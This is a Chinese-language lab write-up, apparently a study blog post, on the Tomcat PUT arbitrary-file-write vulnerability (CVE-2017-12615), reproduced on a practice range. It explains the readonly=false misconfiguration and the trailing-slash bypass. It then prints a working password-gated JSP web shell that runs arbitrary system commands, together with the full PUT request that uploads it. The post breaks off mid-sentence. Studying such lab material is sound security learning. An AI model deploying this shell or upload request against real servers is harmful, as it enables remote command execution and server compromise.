Tomcat PUT方法任意写文件漏洞学习

1 PUT请求

PUT请求是一种在HTTP协议中常见的请求方法

1.1 基本原理

PUT请求是一种用于向指定资源位置上传新的实体数据的请求方法,与其他请求方法的区别在于,PUT请求用于创建或者更新只当资源位置的实体数据。它与GET请求不同,PUT请求会替换掉指定位置的原有数据,而不是简单的获取数据

1.2 使用场景

常见的使用场景包裹更新用户信息、上传文件、修改配置等,如使用PUT请求更新用户的个人信息,或者使用PUT请求上传文件到服务器。

1.3 基本语法和格式

http 复制代码
PUT /api/users/123 HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "name": "John",
  "age": 30
}
http 复制代码
PUT /path/to/resource HTTP/1.1          ← 请求行  
Host: example.com                       ← 必须有 Host 头(HTTP/1.1)  
Content-Type: application/json          ← 实体头:描述消息体格式  
Content-Length: 123                     ← 实体头:消息体字节长度  
(可选) Authorization: Bearer <token>  
(可选) If-Match: "xyz"                   ← 并发控制  
(可选) Accept: application/json         ← 期望响应格式  

{                                       ← 消息体(Body):资源的完整新表述  
  "id": 123,  
  "name": "New Name",  
  "price": 29.99  
}  

2 漏洞原理

Tomcat的web.xml配置(readonly=false),导致我们可以往服务器写文件

tomcat本身不允许上传jsp文件,但是1.jsp/加了就不是了,系统在保存时因为不能存在/字符,在保存时就会被忽略,此时jsp文件完成了上传并保存

3 漏洞复现

这里用的是好靶场的CVE-2017-12615

Apache Tomcat 7.0.0 至 7.0.79 版本且启用 HTTP PUT 方法(如将默认的 readonly 初始化参数设为 false )时,攻击者可通过精心构造的请求向服务器上传含恶意代码的 JSP 文件,一旦该文件被请求,其中代码将被服务器执行,造成数据泄露或服务器权限被获取等严重后果。

3.1 验证漏洞存在

开启本地代理,打开BP,启动拦截,刷新页面,抓到请求数据包

更改请求信息,根据响应可知,支持PUT请求方式

3.2 上传JSP文件

jsp 复制代码
<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

这段代码的功能是:

  1. 检查请求参数"pwd"的值是否为"123",这里是可以进行更改的,类似于一个密码的作用
  2. 如果密码正确,执行请求参数"cmd"提供的系统命令
  3. 读取命令执行结果并输出到网页上

正常来说就没有这个400 Bad Request的,但是我这个不知道怎么回事

寻求ai后是这样的

jsp 复制代码
PUT /shell1.jsp HTTP/1.1
Host: 8t4ptp9.haobachang.loveli.com.cn:8888
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/plain
Content-Length: 419

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>

但出现

相关推荐
西岸行者8 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
大大水瓶8 天前
Tomcat
java·tomcat
悠哉悠哉愿意8 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
失重外太空啦8 天前
Tomcat
java·服务器·tomcat
屎到临头想搅便8 天前
TOMCAT
java·tomcat
别催小唐敲代码8 天前
嵌入式学习路线
学习
微风起皱8 天前
企业级WEB应用服务器TOMCAT
java·前端·tomcat
毛小茛8 天前
计算机系统概论——校验码
学习
babe小鑫8 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
天蓝不会忘记028 天前
lvs,haproxy,keepalived,nginx,tomcat介绍和实验
nginx·tomcat·lvs